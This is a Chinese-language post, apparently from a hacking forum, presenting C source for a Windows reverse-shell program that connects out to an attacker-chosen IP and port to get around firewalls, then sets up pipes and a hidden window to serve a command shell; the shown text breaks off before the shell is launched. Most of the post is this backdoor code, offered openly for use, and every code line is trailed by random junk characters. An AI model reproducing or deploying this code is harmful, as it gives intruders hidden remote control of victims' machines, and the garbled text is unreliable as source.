这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ll%}nti
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/* ============================== iZ/iMDfC
Rebound port in Windows NT O` !XW8
By wind,2006/7 `|&0j4(Pg
===============================*/ 7/KK}\NE
#include 0dsL%G~/N
#include f8UJ3vB
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#pragma comment(lib,"wsock32.lib") :)4c_51 `
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void OutputShell(); BhjDyB
SOCKET sClient; ttB>PTg#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *2.h*y'u
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void main(int argc,char **argv) u] G
{ `SZ-o{
WSADATA stWsaData; r?
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int nRet; eA``fpr
SOCKADDR_IN stSaiClient,stSaiServer; ePR9r}
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if(argc != 3) * RX^ z6
{ 8df| 9E$
printf("Useage:\n\rRebound DestIP DestPort\n"); ]
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return; kaoiSL<[6
} *5XOYb?'v.
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WSAStartup(MAKEWORD(2,2),&stWsaData); g-ZXj4Ph!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lr
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stSaiClient.sin_family = AF_INET; a3A3mBw
stSaiClient.sin_port = htons(0); /<-=1XJI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fo~*Bp()-E
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JrX. f
{ Q`;eI
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printf("Bind Socket Failed!\n"); !&.-{ _$
return; i6P$>8jBQ-
} e^x%d[sU
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stSaiServer.sin_family = AF_INET; pp{p4Z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); V[Sj+&e&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a2]ZYY`R7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _7qa~7?f
{ RE D@|[Qh
printf("Connect Error!"); H4T~Kv
return; #,1)@[
} <u],R.S)
OutputShell(); Bva2f:)K|
} p&4n"hC
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void OutputShell() zMO#CZ t
{ T-+ uQ3
char szBuff[1024]; 'n\P S,[1R
SECURITY_ATTRIBUTES stSecurityAttributes; Hr7pcz/#l
OSVERSIONINFO stOsversionInfo; mb%U~Na
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; Aeo=m}C;
char *szShell; 9x8Vsd
PROCESS_INFORMATION stProcessInformation; %BT]h3dcSS
unsigned long lBytesRead; u~JR]T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,!PV0(F(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @[f$MRp\
stSecurityAttributes.lpSecurityDescriptor = 0; S,avvY.U\
stSecurityAttributes.bInheritHandle = TRUE; GDiyFTr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w-NTw2x,&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Tdz#,]Q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "3a}~J<g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ufw[Ei$I:
stStartupInfo.wShowWindow = SW_HIDE; VeY&pPQ